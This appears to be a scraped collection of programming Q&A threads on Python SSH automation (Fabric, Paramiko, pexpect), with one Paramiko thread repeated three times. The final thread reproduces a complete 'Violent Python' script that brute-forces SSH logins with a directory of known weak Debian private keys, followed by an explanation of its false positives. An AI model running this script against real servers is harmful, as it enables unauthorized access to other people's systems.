I'm trying to skip prompt during a SSH connection with Fabric. Like Python Fabric: Skip logins needing passwords . I read in the documention that the option abort_on_prompts should do that. But I can't make it work.
#!/usr/bin/python
from fabric.api import *
env.abort_on_prompts=True
def remote_cmd(server_name):
with settings(hide('output','running','warnings'),
host_string=server_name,
user = 'john',
key_filename = '/home/john/id_rsa',
warn_only=True):
return run('ls /data/')
server_name = 'server01'
ls_result = remote_cmd(server_name)
This code keeps asking me for the server01's password (because it doesn't have the public key) whereas I want to skip it.
Thanks to FunkySayu, I finally found the solution and what was wrong.
I used Python 2.6.6 and Fabric 0.9 on Debian 6.
So I tried it on a Debian 8 with Python 2.7.9 and Fabric 1.10 and it worked fine!
abort_on_prompts exits the script but I wanted to just skip it. Here is the solution I found :
#!/usr/bin/python
from fabric.api import *
env.abort_on_prompts=True
def remote_cmd(server_name):
with settings(hide('output','running','warnings'),
host_string=server_name,
user = 'john',
key_filename = '/home/john/id_rsa',
warn_only=True):
return run('ls /data/')
servers = (('server01',), ('server02',))
for row in servers:
server_name = row[0]
print "Connection to ", server_name
try:
result_ls = remote_cmd(server_name)
print result_ls
except SystemExit:
print server_name," doesn't have the key"
In this example server01 doesn't have public key in authorized_key file. But no harm, the script will continue, print a message, and then run the command on server02.
I hope it's clear :)
me#myserver:~$ ./test_fabric.py
Connection to server01
Fatal error: Needed to prompt for a connection or sudo password (host: server01), but abort-on-prompts was set to True
Aborting.
server01 doesn't have the key
Connection to server02
[we see the results of ls command]
In order to use the python fabric.api env.abort_on_prompts = True and manage the abort event, it's a must to use it together with a try/except SystemExit statement. Below it's a simple example, abort_on_promt_test.py, to test it in your localhost defining a local role for the execution.
from fabric.api import settings, env, run
from termcolor import colored
env.roledefs = {
'local': ['localhost'],
}
def command(cmd):
"""
Run a command in the host/s
:param cmd: bash command to be executed
eg: fab -R local command:"hostname"
eg: fab -R local command:"ls -ltra"
"""
env.abort_on_prompts = True
try:
with settings(warn_only=False):
run(cmd)
except SystemExit:
print colored('===============================================', 'red')
print colored('HOST: ' + env.host_string + ' aborted on prompt', 'red')
print colored('===============================================', 'red')
Here's the output of its test execution:
delivery#delivery-E5450$ fab -f abort_on_promt_test.py -R local command:"hostname"
[localhost] Executing task 'command'
[localhost] run: hostname
Fatal error: Needed to prompt for a connection or sudo password (host: localhost), but abort-on-prompts was set to True
Aborting.
===============================================
HOST: localhost aborted on prompt
===============================================
Done.
Related
I am slowly trying to make a python script to SSH then FTP to do some manual file getting I have to do all the time. I am using Paramiko and the session seems to command, and prints the directory but my change directory command doesn't seem to work, it prints the directory I start in: /01/home/.
import paramiko
hostname = ''
port = 22
username = ''
password = ''
#selecting PROD instance, changing to data directory, checking directory
command = {
1:'ORACLE_SID=PROD',2:'cd /01/application/dataload',3:'pwd'
}
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname,port,username,password)
for key,value in command.items():
stdin,stdout,stderr=ssh.exec_command(value)
outlines=stdout.readlines()
result=''.join(outlines)
print (result)
ssh.close()
When you run exec_command multiple times, each command is executed in its own "shell". So the previous commands have no effect on an environment of the following commands.
If you need the previous commands to affect the following commands, just use an appropriate syntax of your server shell. Most *nix shells use a semicolon or an double-ampersand (with different semantics) to specify a list of commands. In your case, the ampersand is more appropriate, as it executes following commands, only if previous commands succeed:
command = "ORACLE_SID=PROD && cd /01/application/dataload && pwd"
stdin,stdout,stderr = ssh.exec_command(command)
In many cases, you do not even need to use multiple commands.
For example, instead of this sequence, that you might do when using shell interactively:
cd /path
ls
You can do:
ls /path
See also:
How to get each dependent command execution output using Paramiko exec_command
Obligatory warning: Do not use AutoAddPolicy on its own – You are losing a protection against MITM attacks by doing so. For a correct solution, see Paramiko "Unknown Server".
Well by accidentally trying something I managed to figure this out I believe. You need to do all the commands at one time and do not need to do them in a loop. for for my instance it would be
import paramiko
hostname = ''
port = 22
username = ''
password = ''
#selecting PROD instance, changing to data directory, checking directory
command = 'ORACLE_SID=PROD;cd /01/application/dataload;pwd'
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname,port,username,password)
stdin,stdout,stderr=ssh.exec_command(value)
outlines=stdout.readlines()
result=''.join(outlines)
print (result)
ssh.close()
I am slowly trying to make a python script to SSH then FTP to do some manual file getting I have to do all the time. I am using Paramiko and the session seems to command, and prints the directory but my change directory command doesn't seem to work, it prints the directory I start in: /01/home/.
import paramiko
hostname = ''
port = 22
username = ''
password = ''
#selecting PROD instance, changing to data directory, checking directory
command = {
1:'ORACLE_SID=PROD',2:'cd /01/application/dataload',3:'pwd'
}
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname,port,username,password)
for key,value in command.items():
stdin,stdout,stderr=ssh.exec_command(value)
outlines=stdout.readlines()
result=''.join(outlines)
print (result)
ssh.close()
When you run exec_command multiple times, each command is executed in its own "shell". So the previous commands have no effect on an environment of the following commands.
If you need the previous commands to affect the following commands, just use an appropriate syntax of your server shell. Most *nix shells use a semicolon or an double-ampersand (with different semantics) to specify a list of commands. In your case, the ampersand is more appropriate, as it executes following commands, only if previous commands succeed:
command = "ORACLE_SID=PROD && cd /01/application/dataload && pwd"
stdin,stdout,stderr = ssh.exec_command(command)
In many cases, you do not even need to use multiple commands.
For example, instead of this sequence, that you might do when using shell interactively:
cd /path
ls
You can do:
ls /path
See also:
How to get each dependent command execution output using Paramiko exec_command
Obligatory warning: Do not use AutoAddPolicy on its own – You are losing a protection against MITM attacks by doing so. For a correct solution, see Paramiko "Unknown Server".
Well by accidentally trying something I managed to figure this out I believe. You need to do all the commands at one time and do not need to do them in a loop. for for my instance it would be
import paramiko
hostname = ''
port = 22
username = ''
password = ''
#selecting PROD instance, changing to data directory, checking directory
command = 'ORACLE_SID=PROD;cd /01/application/dataload;pwd'
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname,port,username,password)
stdin,stdout,stderr=ssh.exec_command(value)
outlines=stdout.readlines()
result=''.join(outlines)
print (result)
ssh.close()
I am trying to SSH to a server with Python and I have been able to do so successfully. I am able to run the commands within Python successfully with one exception, the main command that is the focus of my program. It is a SIPp command that will only run within the SSH server and in a specific folder.
When I run the command in my terminal, it works perfectly fine; however, when I connect to the SSH server through PExpect or Paramiko (both work fine), I try to send my command but I get the
Error Opening Terminal: Unknown
I have so far, read the docs, tried using os, subprocess, and multiple different ways of connecting with Paramiko and Pxssh. The several people I work with were not able to figure it out either.
The SIPp command that I am trying to send and read the output of:
sipp -r 5 -m 20 -trace_msg -inf users.csv -sf register.xml -d 10000 -i [IP addresses]
# some of the command was left out for simplicity's sake
# there is no issue with the command
Connecting to SSH through Pxssh (PExpect):
from pexpect import pxssh
from getpass import getpass
try:
s = pxssh.pxssh()
hostname = input('hostname: ')
username = input('username: ')
password = getpass("password :", None)
s.login(hostname, username, password)
s.sendline('cd [location of the folder]')
s.prompt()
print(s.before)
s.sendline('sipp -r 5 -m 20 -trace_msg -inf users.csv -sf register.xml -d 10000 -i [IP addresses]') #this is the only line that doesn't work / output anything.
s.prompt()
print(s.before)
s.sendline('ls')
s.prompt()
print(s.before)
s.logout()
except pxssh.ExceptionPxssh as e:
print("Something went wrong. Try again with the correct Host Name, Username, and Password")
print(e)
Connecting to SSH through Paramiko:
from paramiko import client
from getpass import getpass
class ssh:
client = None
def __init__(self, address, username, password):
self.client = client.SSHClient()
self.client.set_missing_host_key_policy(client.AutoAddPolicy())
self.client.connect(address, username=username, password=password, look_for_keys=False)
def sendCommand(self, command):
if self.client:
stdin, stdout, stderr = self.client.exec_command(command)
output = stdout.readlines()
print(output, stderr.readlines())
while not stdout.channel.exit_status_ready():
if stdout.channel.recv_ready():
alldata = stdout.channel.recv(1024)
prevdata = b"1"
while prevdata:
prevdata = stdout.channel.recv(1024)
alldata += prevdata
print(str(alldata, "utf8"))
self.client.close()
else:
print("Connection not opened.")
connection = ssh([ssh info])
connection.sendCommand("cd [location] ; sipp -r 5 -m 20 -trace_msg -inf users.csv -sf register.xml -d 10000 -i [IP addresses]")
Both give me this error: Error opening terminal: unknown.
My guess is that it is not spawning an actual terminal but I can't figure out what to do at this point. Any help would be sincerely appreciated
Your command needs terminal emulation.
Either:
Try to find if there's a way to run the command, so that it does not require the terminal emulation. Maybe -bg switch can help.
Possibly this was a bug in an older version of SIPP. Make sure you have the latest version. See Startup failure when running from environment without TERM.
Or, enable the terminal emulation (what can bring unwanted side effects). With Paramiko SSHClient.exec_command, use its get_pty argument:
stdin, stdout, stderr = self.client.exec_command(command, get_pty=True)
I am slowly trying to make a python script to SSH then FTP to do some manual file getting I have to do all the time. I am using Paramiko and the session seems to command, and prints the directory but my change directory command doesn't seem to work, it prints the directory I start in: /01/home/.
import paramiko
hostname = ''
port = 22
username = ''
password = ''
#selecting PROD instance, changing to data directory, checking directory
command = {
1:'ORACLE_SID=PROD',2:'cd /01/application/dataload',3:'pwd'
}
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname,port,username,password)
for key,value in command.items():
stdin,stdout,stderr=ssh.exec_command(value)
outlines=stdout.readlines()
result=''.join(outlines)
print (result)
ssh.close()
When you run exec_command multiple times, each command is executed in its own "shell". So the previous commands have no effect on an environment of the following commands.
If you need the previous commands to affect the following commands, just use an appropriate syntax of your server shell. Most *nix shells use a semicolon or an double-ampersand (with different semantics) to specify a list of commands. In your case, the ampersand is more appropriate, as it executes following commands, only if previous commands succeed:
command = "ORACLE_SID=PROD && cd /01/application/dataload && pwd"
stdin,stdout,stderr = ssh.exec_command(command)
In many cases, you do not even need to use multiple commands.
For example, instead of this sequence, that you might do when using shell interactively:
cd /path
ls
You can do:
ls /path
See also:
How to get each dependent command execution output using Paramiko exec_command
Obligatory warning: Do not use AutoAddPolicy on its own – You are losing a protection against MITM attacks by doing so. For a correct solution, see Paramiko "Unknown Server".
Well by accidentally trying something I managed to figure this out I believe. You need to do all the commands at one time and do not need to do them in a loop. for for my instance it would be
import paramiko
hostname = ''
port = 22
username = ''
password = ''
#selecting PROD instance, changing to data directory, checking directory
command = 'ORACLE_SID=PROD;cd /01/application/dataload;pwd'
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname,port,username,password)
stdin,stdout,stderr=ssh.exec_command(value)
outlines=stdout.readlines()
result=''.join(outlines)
print (result)
ssh.close()
So I am reading this awesome book, "Violent Python". And in Chapter 2 there is a Python script that uses private keys to authenticate to a Debian machine or possibly any machine running an SSH server that has users on it without strong private keys. Below is the script:
#! /usr/bin/env python
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + \
'#' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H ' + \
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+ \
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
The weird thing is when I run this on my internal LAN against a copy of Kali, that is based on Debian, the Python script prints that it has found some vulnerable private keys. I am not sure why it finds several vulnerable keys though for a single user on the OS. When I run the script I specify 1) a host, 2) a username, and 3) a directory full of private keys generated by HD Moore. I had to use the wayback machine to obtain the RSA private keys he generated for the 2048 strength asymmetric algorithm.
Example output:
[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
Anyways, why does the script say it found numerous private keys for my username on my Debian Kali virtual machine (VM)? I tried to log in with the apparently vulnerable private key with the ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 root#192.168.1.11 -o PasswordAuthentication=no command but it did not work. Why does it not work? Is the Python script not actually doing what it says it is doing? X-Ray Glasses anyone? Let me go on...
Then I checked the /var/log/auth.log on my Debian Kali VM and it has some interesting and mysterious entries. The log says, Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))
I read the man page for the ssh-vulnkey on the Debian Kali OS and found out that this program could find vulnerable keys on a computer. I tried running this with the -v verbose option and saw that some keys are apparently vulnerable, though I do not understand what the f key is going on.
Does anyone have an easy to understand explanation about 1) why the script returns results that it successfully found a key(s) and 2) what the blacklisted auth.log message means? Also, 3) if it found a vulnerable key why can I not use said key to log into my computer?
Also, should this be moved to information-security?
Wicked Python script by:
O'Connor, TJ (2012-12-28). Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers. Elsevier Science. Kindle Edition.
As far as I can tell the script just iterates through the directory and tries to use them as keys to connect to the given SSH server. This is done in threads, so the order of your output is not deterministic. Since we check if the global Stop flag is True before starting new threads it may happen that not all files are checked because one earlier thread already finished successfully and set the flag. This is why it reports that it found a key.
Your SSH daemon blacklists weak keys that were generated by a broken version of OpenSSL. This is a good thing and you can read about it here. That is also why you can't login.
ssh automatically falls back to looking for valid keys in your configuration directory. So the connection does actually succeed, but your command line argument is ignored. Try running the command with -vvv and observe the output:
$ ssh user#host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]